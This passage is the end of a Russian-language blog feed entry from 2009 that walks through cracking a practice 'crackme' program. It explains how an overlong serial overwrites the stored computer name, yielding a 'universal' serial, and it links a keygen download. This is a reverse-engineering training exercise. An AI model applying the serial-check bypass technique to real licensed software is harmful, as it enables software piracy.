id="BLOGGER_PHOTO_ID_5308584802406579410" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Видим результат: KE затерлось LO и R затерлось нулевым байтом, что это дает? А вы&lt;br /&gt;&lt;/p&gt;подумайте, так для каждого компа свой ключ, а это дает возможность создать&lt;br /&gt;УНИВЕРСАЛЬНЫЙ СЕРИЙНИК, например если впишем в поле ввода:&lt;br /&gt;&lt;p&gt;&lt;strong&gt;111111111111111111wihex&lt;/strong&gt;&lt;br /&gt;&lt;/p&gt;То имя компа будет WIHEX. Но эта комбинация нам ничего не даст, мы уйдем на&lt;br /&gt;подпрограмму и там ниче толкового не произойдет, по — скольку, прога возьмет серийник&lt;br /&gt;111111111111111111wihex а имя компа будет wihex она сравнит это и выдаст мол серийник неправильный!!!&lt;br /&gt;&lt;p&gt;А что если взять за серийник?&lt;/p&gt;&lt;p&gt;&lt;span style="color:#ff0000;"&gt;&lt;strong&gt;JGQJ\JGQJ\JGQJ\JGQKERNY&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;JGQJ\- это правильный серийник для компа с именем KERNY. И когда вы введете у себя на компе такой серийник, переменная затрется на KERNY&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;span style="color:#666666;"&gt;(даже если имя вашего ПК длиннее пяти символов, потому что после затирания за символом Y будет идти нулевой байт, что свидетельствует о том, что это конец строки)&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;и прога будет считать, что имя вашего компа -&lt;/p&gt;&lt;p&gt;KERNY, затем она возьмет и начнет сравнивать себя с серийником&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#ff0000;"&gt;&lt;strong&gt;JGQJ\JGQJ\JGQJ\JGQKERNY&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt; но в реале она сравнит себя только с &lt;strong&gt;&lt;span style="color:#ff0000;"&gt;JGQJ\&lt;/span&gt;&lt;/strong&gt; , когда она&lt;br /&gt;&lt;/p&gt;&lt;p&gt;дойдет до шестого прохода цикла, регистр &lt;strong&gt;AL&lt;/strong&gt; станет равным нулю.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;И выполнится условие:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;CMP AL,0&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;&lt;strong&gt;JE SHORT 00401150&lt;/strong&gt;&lt;br /&gt;&lt;p&gt;И дальше проверять не будет! Магия не так ли?! Вот и все на сегодня, спасибо за внимание.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;Скачать статью в pdf:&lt;br /&gt;http://www.newel.tu2.ru/crackme.pdf&lt;br /&gt;&lt;br /&gt;Скачать crackme#1 by Shturmovik и кейген к нему:&lt;br /&gt;http://ifolder.ru/10773116&lt;br /&gt;http://letitbit.net/download/7a05e435851/statr.rar.html&lt;br /&gt;http://www.newel.tu2.ru/statr.rar&lt;br /&gt;&lt;p&gt;(c)Kerny&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;27.02.09 17:50&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-1363250055656453186?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/1363250055656453186/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2009/03/crackme1-shturmovik.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/1363250055656453186'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/1363250055656453186'/><link rel='alternate' type='text/html' href='http://kerny.ru/2009/03/crackme1-shturmovik.html' title='Взлом crackme#1 от Shturmovik.'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_oxXdxKIGwp0/Savbvr9bSBI/AAAAAAAAAAU/NlptVstVG5E/s72-c/5.JPG' height='72' width='72'/><thr:total>0</thr:total></entry></feed>
